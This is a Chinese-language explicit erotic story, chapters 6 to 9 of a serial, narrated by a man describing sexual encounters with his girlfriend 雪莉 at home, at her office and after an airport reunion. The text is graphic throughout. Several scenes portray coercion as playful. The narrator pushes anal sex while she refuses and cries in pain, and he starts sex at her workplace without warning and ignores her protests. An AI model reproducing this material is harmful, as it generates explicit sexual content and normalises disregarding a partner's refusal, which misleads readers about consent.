热搜排行
爱笑的女孩(我爱辣妹外传)6-10

(6)

看着身旁的雪莉,手指头捏着她的乳头搓动着。这么安闲地玩弄她的娇躯,这可还是第一次。她不挣扎也不闪避,只是不停地轻哼一两下,实在忍不住了才笑着缩成一团。

“喂!”“什么?”“你为什么是第一次?”她柳眉倒竖。“这什么问题嘛!”“我是说,你都没有交男朋友吗?那么多人想追你。

”“挑不到好的嘛!”“我算是好的吗?”她抿嘴轻笑,却不回答。

“雪莉。”我坐了起来,握住了她的手,深情地望着她。她被我看得不好意思,羞红了脸。突然我一把把她的手按在半软不硬的肉棒上。

“好的!”“呀!”“你还没有仔细看过吧?第一次充实你的。”

她还想缩手,听我这么一说,猫咪般的好奇心就控制不住了。刚开始我拉着她的手抚摸肉棒,渐渐地她也自行探索起来了。“这东西长得好怪喔!啊!变大了。”她一脸无辜地跟我报告,彷佛不是她挑逗起来的。“你以为他是为了谁才变大的?”我一脸坏笑地问着。“好坏喔!”“谁坏?他坏还是我坏?”“你们都坏!怎么可以这么快就又┅┅”“没人规定要隔多久啊!”

她不依,拉着肉棒摇来摇去,我赶紧拉开她的手。不过我也不急着骑上去,只是在她的下半身捅着顶着,让她更觉得不适。“要不是因为你的处女小穴超紧的,我又太兴奋,还没那么快丢呢!”她馀悸犹存地看着我。“真的?”“真的。”“平常都还要更久?”“骗你干什么?”她眼中突然流露出一丝笑意,却装模作样地叹口气,幽幽地说∶“你果然还有别的女人。”我张大了嘴说不出话来,她则是笑得直打滚。

跟超级营业员斗嘴,摆明了是自讨苦吃,不小心还让她知道了些不能让她知道的事。她既然没有乘胜追击,我当然也不能给她机会再开口。说是说不过她,但是我还会舔。两手压住她的大腿,就朝着她的腿间趴了下去。

“呀!你干什么?”不干什么,看着初次造访的迷人溪谷,一下子我就忘记了原先的目的。“你的第三点┅┅好美啊!”她急得伸手来遮,却被我轻易地拨开了。“三点全露,可以了吧?还无码的。”

我忙着欣赏美景,无暇回话。密而不浓的草原尽头一缕嫣红,樱唇轻启,尚有涓流。我忍不住横嘴亲直嘴。“哎呀!”“要早知道你还是处女,刚刚就应该好好赏玩一番。”“谁叫你要霸王硬上弓。活该!

”“你早些让我抠抠挖挖,我也不致于没有发现。”“哼!欺负人家还你有理--啊!”我以行动打断了她的话。“是不是高潮以后反而更敏感呀?”“我怎么知--啊!”

我每亲一下,她就弹一下,两只奶子更是摇摆不定,只恨爹娘没多生两只手给我去摸乳。亲个十来下,她的叫春声逐渐无力化,溪谷倒反而川流不息。

我把她的下半身举高,两手大拇指掰开阴唇,细看钟乳石洞的绝妙艳景。“好美啊!”单击按钮,景色更是变化万千。“不要看!

不要看!你怎么能看那里?”我对她笑了笑,把她的下半身再往上推,一个字一个字地说∶“第四点。”“天哪!”她受到的打击好像不小,紧闭着双眼,头垂向一旁,喃喃地自语着∶“不能看啊!不能看啊!”看来这小处女只以为大不了一脱了事,浑不知闺房之露,有甚于三点者。

同样地手法用在第四点却不太灵,屁股又大又滑抓得不牢,掰开也只好看到紧皱着的放射状小口,再要深入研究就难了。看不到不必强求,也省得羞坏了雪莉,于是我再度摆平她的身子。“好吧!我不看了。”她睁开眼睛,满脸感激地看着我,却没有说话。但是我却将肉棒顶住了穴口,用眼神征询她的意见,她轻轻地点了点头。肉棒捅了半截进去,就不再动了。我把她的上半身抱了起来,让她看到结合的地方。“那你要看喔!你要是不看就我看罗!”“啊!你好┅┅”

明知是陷阱,却不得不跳下去。雪莉忍着羞,睁大眼睛盯着在她体内进进出出的肉棒,带着小妹妹翩翩起舞,透明的液体也逐渐白浊了起来。

刚开苞的小穴不禁,雪莉开始会想躲。其实我的目标也不是在前面,而是后洞。于是我放慢速度,但是动作的幅度加大,等她不由自主地退缩时,手正在那里等着把玩肥美的屁股呢!“听说屁股又圆又翘宜男,是不是真的?”“人家又没有答应要帮你生。”虽然还是嘴硬,语调却是软绵绵的。我没有理会她,自问自答。“其实应该也不一定,要是屁股太诱人,大家都走后门,那就别生了。”

雪莉全身的力气突然都回来了!冷不防推开了我,跳到床的另外那边去,手着屁眼,笑着问∶“你想干什么?”我又好气又好笑。

“你的手正按着答案呢!”她只是笑。“你别跟我装不懂。”假仙过不了关,她只好来软的。“不行啦∼”“行的。”“那幺小。”“前面也很小。”“不要啦∼”我指着高高翘起的肉棒。“那他要怎么办?你前面还受得了吗?”她低头看看略微红肿的阴唇,也不敢说好。

“开苞总是要痛一次,跑不了的。但是前面你只要休息几天再插,根本也不会痛。何必现在逞强呢?”“嗯∼”“听话。”她嘟着嘴,低着头,没说答应,也不再表示反对了。

我把她摆成一个大字,肉棒先插进湿淋淋的肉穴。“拖太久都干掉了,玩玩前面润滑一下。”没多久,肉棒已经又水光闪闪了。这时我将肉棒拔了出来,对准了小巧的菊洞。舍背后而就正面,是因为我想看着雪莉的表情。当拓荒者开始向前迈进,她满脸的惊惧刹那间化为痛苦,随着动作的持续,咬不紧牙关的她大声地哀号,泪汪汪地好不可怜。我摇动着臀部,试图将她的密径撑宽松些,总是不见成效,只让她多娇吟几声。抓住高高耸起的双峰抚弄,似乎是缓和她情绪的唯一手段。

“好痛啊∼呜∼呜∼你都不怜香惜玉┅┅”虽然小弟弟被热烘烘的肉套子紧紧束住非常舒服,美女在胯下呻吟也很能满足男人征服的欲望,但是看到她哭得梨花带雨的,委实有些不忍。索性暂时休兵,等有机会再挥戈直上,用热情灌溉雏菊。拔出来的瞬间,雪莉的表情非常奇怪,不知是如释重负还是怅然若失,张开的小口深不见底,开阖了几次后,缓缓地紧闭起来。

茫然过去以后,雪莉用灵动的大眼睛埋怨着我。我指着一跳一跳的肉棒,苦着一张脸。她轻咬着下唇,不知如何是好。我轻轻拥她入怀。“这样就好了。坏小弟欺负了小妹妹,罚他当和尚。”“对!有道理。”她推开我,转身不理我。我当然是厚着脸皮从背后抱住她,还把硬梆梆、热腾腾的肉棒往她的腿缝压了进去,她立刻又全身僵硬。我特别喜欢从背后摸乳,这个时候当然是不会放过。雪莉的双乳既柔软又有弹性,真是百摸不厌。乳头直立起来的时候尖尖的,拨起来触感跟音效都很好。“不啦∼你又要疯。啊∼”“这么快就湿了吗?

真不禁摸。”一只手下去验了验,果然。“才不是呢!你那个坏东西还顶在那--啊!”说小弟弟的坏话,我就狠狠地挖小妹妹,公平。

“不行∼不行了啦∼我用别的方法帮你好不好?不要再挖了!哟!嗯哼∼”

这倒有趣!她会用什么方法来帮我消火呢?“什么方法?”全身虚软无力的雪莉狼狈地爬出我的怀抱,雪白的两个半球摇摇摆摆,我几乎又要抓过来狂插一通。她趴倒在床上,转过头来。“我用手帮你弄出来好不好?”“只是手而已喔?”她无辜地看着我。“好吧!手就手,无鱼虾也好嘛!”她一听,马上就高兴了,笑容又在俏脸上绽放开来。“下次再好好地补偿你。”“不可以黄牛喔!”“骗你的是小狗。”

两只细嫩的小手,套拢着得不到发泄的肉棒,轻轻搓弄着。“你怎么会这些啊?”“刚刚的片子就有啊!”她眨眨眼。“你也别以为我以前没有看过。”呵!就说她没有那么老实。

雪莉的手技谈不上高明,但是生疏有生疏的刺激。只是,刺激归刺激,肉棒愈来愈胀、愈来愈硬,就是达不到巅峰。我也把玩着她的两个乳头,舌头窜进她的小嘴和香舌交缠着。渐渐地有眉目了,我连忙舍弃了蜜吻,在她还陶醉其中的时候,一把抓住了她的手,猛烈地上下套动。“哎呀!哎呀!”她羞得直怪叫。张嘴叫才好,一股白浊射了进去。接着一股又一股,头发、俏脸、趐胸、桃花源,都在我的导向下遭了殃。“好心喔!讨厌!”抗议也来不及了。

谁弄脏的谁负责洗干净。抱她进浴室清洗了一番,放满热水给她泡着,我则坐在浴缸边玩弄着她的娇躯。“男人真是贱骨头!把人家弄得脏兮兮的,然后又得洗。”“滋润美女是男人的天职啊!”“乱讲话。哎呀!你再乱摸我又要不好了。”“那不是很好吗?”“好什么?出去!你出去啦!”

就这么,我被赶出了浴室。半小时后,我再度走进了浴室,把在浴缸里睡着的雪莉抱了出来。

(7)

女人有了爱情的滋润,就会变得更加美丽。另一种说法是,女人有了男人的滋润,就会变得更加娇艳。早让我见到如今的雪莉,绝不会误以为她不是处女。不过这也只是事后英明而已,没比较过要一眼看出来,非阅人无数是办不到的。

如果连我都能够感觉到雪莉的变化,那么大概每个人都知道在她身上发生什么事了。几天下来,不知道被亏了几次,小周的两拳也得兑现。当然,男人间的风言风语,我是不会自讨没趣地转述给雪莉听的。

雪莉虽然守身如玉,可不保守封建。得到了她的处女身,并不等于感情路上一帆风顺。“赔了身子,总不成连一辈子也赔给你。”她这话让我丝毫不敢大意,总是小心翼翼的拿她当宝捧着,生怕惹恼了她大小姐。有人还说我太容易得手了,讲这真是外行话!

正因为如此,虽然发生了肉体关系,雪莉并没有因此就天天脱光了等待临幸。每次约会先讨论尺度的规矩还是没有废除,只是她不再刻意刁难,反正最后那关早就沦陷了,纯粹调情而已。

有一天,她不知道在想些什么,一进房门就规定了上面两点能摸不能看。不像是在生气,但神情却有些懊恼。“怎么啦?”“没有啦!”“没有怎么今天的规定这么怪?不脱吗?”指着坚挺的双峰。“胸罩会撑坏的。你的奶那么大,光是替你托着就已经很累了。”她轻啐一声,似乎想笑,却扁了扁嘴,斜着头儿想了一下,二话不说就开始脱衣服。

豪放的动作令人感动,我正在考虑该跟进还是该帮忙的时候,她却快手快脚地拿出一件T恤穿好了。然后两手伸进T恤里,左动动,右动动,像变魔术般地拿了条胸罩出来。我赶紧鼓掌。她这才发现表演了一场脱衣秀,俏脸一红,就想打人。“怎么办到的?”“咦?”

她愣住了。“原来你拍手是在拍这个呀?”“对呀∼”接过雪莉手上的胸罩,比来比去,笨拙地穿脱着,不小心还会缠到手。

“变态∼”她住肚子抢了回去。“示范给我看嘛∼”她揉了揉笑酸的脸颊,拿着胸罩,拉起T恤下摆伸进去,三两下又穿好了。“这么快怎么看?”我抗议了。“我只示范怎么脱,又不示范怎么穿。

”她也跟我赖皮。“原来你比较喜欢脱。”“再说不示范喽∼”“好嘛∼不说就是了。”

这回她真地一动一动示范给我看,只不过┅┅还是不懂。“以后再自己练习好了。”“不准你练∼”“不要那幺小气嘛∼”“不准∼”“那我自己去买一个来练。”“不准你买∼”她只顾着笑,没想到脱裙子可比脱胸罩容易得多了。猛一个抱她入怀,两手袭击她的大后方,摸到拉链,小指头轻轻一挑,拇指、食指捏紧往下一扯,两瓣肥臀已经在我的魔掌下接受淫弄了。

她反射性地伸手护臀,就不免顾后失前,三角裤被我从前面抓住扯下。左手反手成爪,抓个满把。“不能看可以摸嘛?”我一边虚伪地征询她的同意,右手已经钻了进去。

“啊∼啊∼太强烈了┅┅”尚未展开的抵抗完全被瓦解了。雪莉膝盖夹着窄裙,雪白的双腿摇摇摆摆地诱惑着,我却无暇亵玩。内裤拉到一半,圆臀摇曳,被狼爪遮住一半的三角洲湿润地蠕动。雪腰半露,后可见臀。黑肉白肉间夹着的是粉红色的少女服饰,从里头开始动出来。粉颜潮红,秀眉微皱,头儿猛摇,青春的马尾巴淫靡地甩动着。

“等等啊∼”她虽然咬着小指强忍,却还是无济于事。“不用放音乐了啦∼”有一次她叫得太忘情,送我出门时邻居太太眼光放低猛打量我们下半身,假装招唿,眼镜却有色得紧。所以,后来每次我们做爱做的事情时,她都要把音乐放得很大声。“不行啦∼”我一手拉住雪莉,入侵她隐秘处的狼爪却没放开。“不∼要∼嘛∼”她边挣扎边撒娇地向音响那边移动,小裤裤跌落在地上,被她的左脚勾住拖着走,人走到哪儿地板就湿到哪儿。

乐声响起,我也放开了她,她浑身无力地趴在音响上娇喘,我则悠哉悠哉地开始脱衣脱裤。“又是魔笛?”“好听嘛!”“那个女高音可不如你。”她俏脸一红。“人家才不会唱--啊!讨厌!”听懂了我的弦外之音,她的脸就更红了。

“来。”我躺在床上,向她伸出手,她也走近床边,伸出小手来让我一拉,整个人就倒在床上,头枕在我的大腿上。她正想要开口说话,却发现眼前有个陌生的器官在摇头晃脑。“你真是!”“吹魔笛吧!”“不知道啦!什么吹魔笛?”满脸通红显示她对这双关语心知肚明。“别想耍赖,你那次答应我的。”“哪有?我哪次答应你了?

”“你∼初∼夜∼那∼次∼”就算是雪莉,提到那次乌龙开苞也不能不害臊。话也说不出来了,也不敢正视着我,只能盯着肉棒瞧。

我拉起她的手握住肉棒,她自动地套弄着,一付又期待又怕受伤害的样子。“舔一舔。”她嘟着嘴,我拿她的手将肉棒拉到她嘴边,她扁扁嘴,伸出舌头舔了一下。“怎么样?”“味道怪怪的。”“习惯就好了。我还不是也帮你舔?”她又伸出香舌,生疏地左舔右舐。

雪莉的口技不能跟训练有素的小雯比,但生涩有生涩的过瘾。当然,我也不会因此就满足。“含进去。”同时我也轻轻弯起大腿擡高她的脸,方便她含住直立的肉棒。含进去以前用舌头舔,塞在里面自然也是顶来卷去,这个倒不用教。只是没含习惯,一下子就流了不少口水,弄得肉棒湿湿亮亮的。“用力含紧,然后吐出来,再含进去。”在我的指挥下,雪莉开始用她的小嘴套着我的肉棒。看着她边服侍我边用眼神要求我的认同,我觉得有必要奖励她。

“喔∼喔∼有感觉了!好棒!好舒服!雪莉的嘴功真棒!吹得我好爽!再用力吸!再用力点就丢给你!迷人的小浪嘴!跟穴一样爽!”她吐出肉棒想爬起来,却被我轻抚她秀发的大手压了下去,脸就趴在肉棒上头。“讨厌!干嘛这样子叫?”“因为你吸得我很舒服,爽就要叫啊!”“那也不用把我叫进去呀∼”“是你的功劳嘛∼”“不要这种功劳啦∼”我扶着肉棒往她嘴里一塞,另一手按着她的头含进去,她又乖乖地开始吞吞吐吐了。

不过,没维持多久。因为我的手闲不下来,打从T恤的领口钻了进去,轻轻旋转着她敏感的小红豆。她嘴巴含着大肉棒,只能有一声没一声地哼着。当我的手伸出来的时候,她一下子放松下来,大概就顶到喉咙了,又挣扎着想爬起来。瞬间的触感令人浑身趐麻,实在想按住她的头狂顶一番,结果却还是顺势放开了她,让她吐出肉棒喘了几口气,胸部起起伏伏,动感十足。

“要不要来个六九?”她猛摇头。“不用客气啊!”趁着她还说不出话,我就当她同意了,加快动作,把她的下半身抱了过来,放在我身上,一嘴就舔了上去。“嗯啊∼啊∼不是客气啊∼”我耸了耸腰,把肉棒往她嘴里顶了进去,图个安静。舌头奸着湿润的肉穴,左手搓着阴核,右手还戳着她的菊眼。

六九本是男女互相服侍的最高等享受,不过现在可不是那么一回事儿。雪莉只是含着肉棒,因为耐不住前后两洞的快感,失去自制地摇摆着。柔软的器官和口齿香舌撞来撞去,爽在心里,疼在下面。她修长的大腿蹬个不停,纤腰疯狂地扭着,花蕊想挣扎到阳光下去绽放,却又不得不在我的淫威下落泪。白嫩嫩的小手掐着我的屁股,释放着肉体的激动。

欲望的象征愈来愈亢奋,热情却无法宣泄。我推开雪莉,爬起来看着她。眯着眼睛的她回过神来,发现自己还半张着嘴流口水,不好意思地用手擦了擦。这时候,我已经跨在她身上耀武扬威了。“轻一点喔∼”“滋!”插入的享受着占有的快感,包容的沈醉于拥有的喜悦。“要轻一点吗?”雪莉脸红红的,似笑非笑。“要。”却摇了摇头。

我将她的双腿扛在肩上,女高音正要开始。

粉红色的T恤仍然穿在雪莉身上,手也仍然在里面穿梭。我彷佛明白了什么,却更乐于亲眼证实。

雪莉星眸微启,娇喘吁吁,玉肌透出嫣红,散发着无限风情。我趁机将T恤往上一拉,两颗肉球登时弹跳了出来。“你!”我朝着她微微一笑,东窗事发,她也无可奈何了。“笑什么?没看过红豆冰啊?”蓓蕾依然坚挺,只是左乳乳尖下方约一指幅的地方另外多了一颗红豆。

“怎么搞的?”“被蚊子叮的啊∼”她噘着小嘴儿。“你晚上都裸睡呀?”“才没有呢∼啊!别吸呀!”含着伤口边吸边舔,很快地她又全身酸软了,只有肉球还有劲地晃动着。“你┅┅你又┅┅”我在耳朵边吹着气。“梅开二度喽?”“为什么你都可以┅┅”“因为雪莉太性感了呀∼”“呀∼”现在她是在悲鸣,过一下子她就会快活得媚叫了。

(8)

雪莉又要出国了。一听她这么说,我立刻找纸笔开采购单。我边想边写愈写愈多,她嘟着的小嘴也就跟着愈翘愈高。直到我把写满了“雪莉爱”的采购单拿给她看,她才息嗔怨、添羞喜,欲语还休了老半天,才挤出个“国内有的东西别叫我带”来。

星期天的飞机,星期六她要去公司加班,要我帮她。她的事情我是帮不了什么忙,其实就是要我跑腿打杂、当保镳苦力兼柴可夫司机。这是有男朋友的女孩子的特权,闲闲没事干也要叫你跑一趟,当然我也乐于从命。

打混了一个早上,吃过中饭没多久,我已经无聊得趴在桌上半梦半醒了。远远望过去,雪莉正在整理一些准备带去国外的型录,却似乎有个什么东西一直在吸引着我的视线。仔细一看,原来是她穿的长裤。她今天穿的不是牛仔裤,而是一件白底粉红色直条纹的长裤。这长裤她常常穿着睡的,原因是质料柔软,式样上穿外出倒没什么。只是雪莉弯着腰在那边拿型录,红心摇来摇去,直条纹到了腿间合而为一,变成了一个“由此入”的标记。刚睡醒的男人立刻就硬了。我早就想在公司搞她一回,这个机会不可放过。

悄悄地,我熘到她背后,掏好家伙,突然靠了上去,一手从她的背压下去,让臀部翘得更高,一手扒下没勒裤带的长裤,再一下拉开小裤裤,第五肢自己见洞就钻。“哎呀∼”型录撒了一地。“你怎么这样?”容不得她埋怨,凶狠的顶撞让她只能手扶着架子,仰起头咿咿哦哦着。

我却偏偏拿开她的手,一耸一耸地顶着她前进。“要┅┅要走去哪里呀?”我没回答,却一路把她顶到了电梯间窗户边,擡起她一条腿,自己也弓起一腿顶着窗户,架着她的另外一条腿--干不到,裤子还在碍事呢!

我掏着湿淋淋的肉穴。“雪莉怎么露出个小穴就开始弄了?好淫荡啊!”悬空的雪莉一手要扶着我的肩头,只能空出一个粉拳,没有节奏感地捶着我。“不要!不要啊∼”“还是脱光习惯喔?”“才不是--啊!你不要┅┅”我当然不理会她的抗议,毛手毛脚地解开她的上衣,然后拉开内外两裤,头钻进她胯间往后一撑,雪莉已经被剥光了。

晶莹的玉背靠在透明的玻璃上,冰了雪莉一下。“啊!”冰凉的感觉提醒了她现在是处于公开展示的状态。“会被看到啊!啊∼”进入了,而且开始动了。雪莉的娇躯摇晃不已,双乳随着冲击振动着,下方妙景生春,吞吐着火般热的铁条。“只不过是整片雪白的裸背被看到而已,别那幺小气。”没有人会打量着十五楼上有没有人在妖精打架吧?要不然我会比她更小气。“会掉下去啊!”

这倒不假。无商不奸,古有明训。就算是防弹玻璃,搞不好都会见水速溶。我把雪莉往左挪了挪,半个身子靠着墙壁,只留半个身子暴露在外。可是这样又觉得不太过瘾,索性高高举起她的腿,管你是一楼的路人或是马路对面大楼楼梯间吞云吐雾的瘾君子,一看就知道是条修长的大腿。而且,这种姿势,更可以轻易地顶到阴道尽头,让雪莉忍不住打着颤儿。

“要是有人上来┅┅”“那就快点泄吧!要是别人也想上可就麻烦了。”雪莉原本就容易高潮,结结实实地挨打更是没有逃避的空间,就算我没有这么说,结果也是一样--淫欲的液体一股股涌出,被窗户一挡,散了开来,缓缓地滴落。

“好了吧?”我停止了动作,她才无力地问着,我却摇头。“是说我啊!光是你舒服怎么行?”“可是┅┅我又管不到你。”“那就要看你的功夫喽!”她为难地看着我,我只是贼嘻嘻地笑着。看看空无一物的电梯间,她只好两手撑着墙壁,高高蹶起了雪白的屁股,咬了咬牙。“来吧!”

雪莉的美臀,什么时候把玩都是这么丰满浑圆。我爱不释手地抚摩着,却不急着插进去。“你又在打什么坏主意?”“该走哪个门?

”“前面啦!”她急道。“小穴喔?”“小穴就小穴啦!”她明知我在使坏,却不得不说出羞人的话。“嗯┅┅让我考虑考虑。”“还考虑什么?插小穴啦!”这可不是会不会有人上楼来的问题了,而是关系到屁眼能不能逃过一劫。“你怎么这么急色啊?”“什么急色?我喔∼唿∼”甭说,整根都插进去了。

“什么我喔?”“你┅┅”雪莉还来不及骂人,我已经开始强劲有力地抽插起来了。下面动,上面也忙。玩弄着滑不留手的嫩乳,人还趴在她的美背上,一寸一寸地吻着,让雪莉懒洋洋地呻吟着。雪莉也不含煳,没有多少经验的她谈不上什么床功,但扭臀夹阴也够我爽的了。看她上半身秀发凌乱,下半身迎凑淫乱,我想反正今晚少不了开夜车加班,便也不再强忍,狠狠地又插了个二十来下,痛快地发射了。

雪莉整个人趴在墙上娇喘,我就趴在她身上牛喘。这回合消耗的气力可不少,比抱小雯猴还劳累。小雯会紧紧搂着我,雪莉不会,而且重心又不稳,比较费力。雪莉的体重更不能跟娇小的小雯比,光那对奶子就不知道重多少了。

当然我还是比她先能够动弹。舔舔擦擦,把她弄了个干净。“帮你穿衣服喔?”她摇摇头,却无力阻止,只是半闭着眼睛,顺着我举手举脚的。

折腾了半天,雪莉的精神好了些,不免要开始埋怨。“讨厌!东西都还没准备好。”“这么多天看不到你,总是要先玩个够本嘛!”

“那可以晚上嘛∼现在大白天的。”“咦?我没说晚上不要啊!”嘴里随口调笑着,眼睛还盯着她胸前。白色衬衫绷着丰满的乳房,肉球为衬衫画了两个大圆,两点阴影是圆心。她看到我色眯眯的表情,低头一看才发现我没帮她戴上胸罩,惊叫一声,两手掩着胸部退后了几步,靠到墙壁。

彼退此进,脸贴着脸。“跟那次一样漂亮。”“哪次?呀∼”她显然记忆力还不坏。看着我一脸坏笑,她不甘示弱起来,两手一绞勒住了我的脖子。“你给我忘记∼”这样子被勒住其实是很爽的。“你闷绝巨乳姬呀?”她一把把我推开,笑个不停。我一得到自由又扑了上去,把她压在墙上。“给你一个报仇的机会。”“什么?”我指了指压紧她小腹的隆起。“自己对准往前凑。”“去你的!”

型录还是要整理,只是现在是我在整理,雪莉则趴在桌上,指挥东吆喝西的。过了一会儿我心有不甘,整理好一样就跑回来跟她亲个嘴儿。胡闹了一下午,天都黑了,两个人才匆匆忙忙地锁了门,跑去吃顿饱的,然后回同一个家去收拾行李。

车,在高速公路上飞驰着。闭目养神的雪莉不安地翻来覆去,安全带下绑不住的惹火身材起伏着,把我给惹火了,只好用手安抚着。

“你怎么了?”睡美人睁开眼睛看到这一幕,吃吃地笑了。“活该!

谁叫你弄得我腰酸背痛的。”“敢笑我?看来得找个地方治治你。”

她可真怕我言出即行。“不行啦!快赶不上飞机了。等一下搞得我不上不下的,当心我飞机上找个美国佬来消火。”“哎!现在就让你大泄特泄,飞机上睡得安稳。”雪莉突然发现车已经在下交流道了,大惊失色。“不要!不要!”“不要什么?机场到了。”

入关前,少不了又要难分难舍一番。雪莉突然笑了起来。“你在笑什么?”“我觉得我愈来愈喜欢出国了。”“为什么?”“因为这样才有机会可以休息呀∼”说完她笑着紧闭上双眼,准备让我敲她的脑袋瓜。我却只是靠到她的耳边。“其实我也是。”“嗯?”她讶异地睁开眼睛看着我。“这样才有理由彻夜狂欢呀∼”“去!”

(9)

不上班不用请假,哪来这种好事?只是出公差油钱不能报帐,就算抵销了。今天的任务是去机场接雪莉,接到以后呢?老板的指示是爱怎么样就怎么样,不必报备。

出海关了。远远地我就戏剧化地张开双手,迎接她的归来,她看到也即兴地搁下行李,朝我飞奔而来。三步,两步,一步,我却钻进了她的怀里,把整张脸埋进了她的乳峰当中,摇着头蹭起奶来。雪莉毫无防备,面对这种突袭,兴奋得失神嗯啊起来。

毕竟是公共场所,而且还是有警卫和摄影机的公共场所。听听她美妙的呻吟声就算了,要享用粉嫩的肌肤或以手加胸可是不成。于是我放开了她。雪莉的第二个反应是扬起拳头,可是看到整个大厅都是带着笑意的旅客,脸红得跟苹果一样,换她把脸埋进我怀里,暗地里用手捏我的腰。“讨厌!害我被人家看笑话。”

辣得过瘾的川菜,是给吃腻西餐的雪莉换换口味的。过瘾是她在过瘾,我可是眼冒火外带嘴喷烟,她还挺幸灾乐祸的。

饭后休息了一会儿,东整理西整理的,然后她说要洗个澡。不过她说要自己洗,把我给挡在门外。这一等等了一个多小时她才出来。

“唿!好舒服!还是在自己家里洗澡最棒!”浴巾包不住玲珑的曲线,毛巾轻拭着芙蓉上的水珠,红扑扑的脸蛋儿满是惬意。“怎么洗这么久?”“出去这么久,当然要好好泡一泡啊∼”“等不及了耶∼”她轻啐一声。

在淫邪的目光注视下,她缓缓揭开了浴巾。拉开的浴巾挡住了我的视线,逐渐靠了过来,然后盖在我头上。“看不到啦∼看不到啦∼”我乱抓乱摸,似乎有一度捞到了又滑又腻的香肌,不过分辨不出是哪个部位。一会儿雪莉帮我拿开浴巾,她已经穿好衣服了。

拖拖拉拉地,她终于上床了。我没盖着被子,所以她抖开被子也只是裹着自己。我从她软软的屁股底下伸手进去,把被子硬拉了开来,钻了进去,然后把衣服脱掉,一件件地扔了出去。可是当我开始对她毛手毛脚的时候,她却打了我的手一下。“不要只想着这个啦∼”

我揭开被子,看着她,她也看着我,看着衣着整齐的女人和光熘熘的男人以及挺着的肉棒,不由得笑了出来,然后还要装着一付若无其事的样子。

我嘻皮笑脸地看着她,她则是假装看不懂,咭咭咕咕地说着国外的所见所闻。情侣间除了肌肤相亲外,少不了甜言蜜语,路上看到谁谁谁跌一跤都可以讲得津津有味。只是当她第三度讲到坐在隔壁的中年男子因为偷看她而打翻咖啡时,我突然心中一动。再看看她脸上不时露出诡异的微笑,有点儿谱了。

偷偷地,偷偷地,大手绕到她后面,重重地摸了她屁股一把。她小腹猛然向前一凑,被暗爽起来的肉棒顶了一下。“哎呀!你┅┅”

我没等她抗议,额头已经顶着她的额头了。“说∼在搞什么鬼?”她只是吃吃地笑。我开始拉她裤子,她也拉着裤子,一手对两手在大被底下玩起拔河了。

“好啦∼好啦∼”她有些喘,知道再不吐实裤子就保不住了。其实我的角度不好施力,乐得让她认输。“那么久没见,我突然觉得有点┅┅怕生。”怕生?从北极熊到土拨鼠都能见面就聊的雪莉会说她怕生?“你不老实喔∼”手又到了她裤腰上。“好嘛∼好嘛∼”我的动作还没开始,她已经在喘了。我放开手,看着她。她却低下头,只是笑。

“那么多天没有┅┅我就想┅┅就想┅┅所以我觉得┅┅”“所以了?你什么都没有讲出来呀∼”我怪叫起来。她的头更低了。“就是┅┅就是┅┅很多天没有那个嘛∼”“你别跟我讲你在国外完全都不想要。”她大概是怕我生气,连忙擡起头来辩解∶“当然会想!”

看到我的脸又有了笑容,笑容又渐渐从高兴变成使坏,她又畏缩了。

“可是┅┅可是┅┅怎么可以想呢?”说完她把被子拉了起来,盖住了整张脸。

我傻了。

过了好一会儿,我才大笑起来。“原来你是闷骚还要害臊啊?哈哈哈∼”她露出半张脸。“讨厌!你还乱说!好丢人!”我把被子一掀,她躲也没处躲,只能整个身子缩成一团。我躺在她面前,正经八百地告诉她∶“以前你不知道,所以不会想。现在知道了,不想才不正常呢!”“可是┅┅”“在我用大肉棒喂饱你以前,你先要做一件事情。”“什么?”“脱光,全部脱光,一件都不剩。”“不要∼”

她翻过身就想逃,我连忙抓住她。“不然就由我亲手来喽?”她连忙摇头。“好嘛∼”

雪莉从没那么柔顺过。自己把自己的衣服脱光光,站在我面前任我赏玩。不过别人都是一手掩胸一手遮阴,她却是两只手都盖在私处前面。我走过去,捧了捧她的奶,然后手掌顺着隆起的曲线滑了几圈,点点头表示赞赏。“手放开。”她迟疑了一会儿,松开了手。我只看一眼,就知道答案了,然后眼光就对着她的脸。她起初也一样是看下面,等到眼光与我相对的时候,脸一下就红了。“全湿了。”她想笑又不敢笑,立刻又低下头,双手想玩衣角又没有衣角,想遮住水源又不敢,动了又动,就是不知该摆哪里好。

我把她抱上床,擡高两腿架在肩上,硬挺挺的肉棒刺入湿淋淋的肉穴,肉相连,人合欢。“喔∼”就像拔河一样,先狠狠地戳她个五下。“嗷!嗷!嗷!嗷!嗷!”然后是一二杀一二杀。“嗯∼┅┅嗯∼┅┅嗯∼┅┅”时间一到就喊停。“咦?”她感觉到我停下来了,睁开眼睛看着我。“好舒服喔?”她脸一红。“小别胜新婚嘛∼”她如许解释。“我看是久旱逢甘霖吧?”“啐!”

她啐她的,我瞧我的。雪莉的肉体百瞧不厌,边瞧还可以边摸来摸去,更重要的是她还摆了个“麦当劳都是为你”的曼妙姿势。她可难受了,腿被架得高高的,小小的阴户被大大地分开,塞了根肉棍子进去,偏偏动也不动。“你在做什么?”“怎么可以┅┅”我学她的声音羞涩地说。“你坏!”“还不叫点好听的?”“大坏蛋!”投桃报李,投烂桃报烂李。我伸手捻着她高高翘起的乳头,让她更是浑身不自在,肉穴不由自主地夹弄着我的肉棒,屁股也摇了起来。“讨厌讨厌!好哥哥,快┅┅快点给人家┅┅快啦∼”

悬空的屁股怎么摇都止不了痒,却会勾男人的火。我狠狠地一插到底,随着肉棒的进进出出,两手也使劲抓着胀鼓鼓的奶。她不但不觉痛苦,还露出了舒服的表情。

不知道是不是处女般的娇羞给了我错觉,总觉得雪莉的小穴就像破瓜时那样紧凑。“你是不是又偷偷用新欢缩得妙啦?”“去你的!

我才不用那种--嗯∼东西。”“是啦!国外当然用不同品牌的。”

“才∼没∼有∼啊啊∼是太久没弄。”“又不是被我一插就会变得松垮垮的。”“就是你!就是你--啊啊∼嗯∼都是你害的!嗯∼”

她忍无可忍,激动得用力掐着我的背。“喂喂!很痛耶!”“你活该!”她看来很想继续荼毒我的皮肉,但是汗流得多了,她要抓住也不容易,老是滑开,最后只好紧抓着被单,宣泄肉体的快感。于是我放弃了她那对诱人的玉峰,扳开了深陷入被单里的手指,翻过她的手来,让她抓住我的手。她的手指立刻就紧紧嵌进了我的手背,力道刚好跟下半身我所施的力成正比。

虽然说手心手背都是肉,不过我却只顾着的爽快而忽略了手上的疼痛。狠狠地着她的嫩穴,让进进去去的肉棒迫使她香唇翻腾。

终于雪莉在绝地大反攻之后,一阵动人心魄的娇啼,什么力气都没有了。我正在高兴围魏救赵的阴谋得逞,却也被她高潮的紧缩夹得丢盔弃甲。反倒是她还有力气细语呢喃∶“好多!好多喔!”

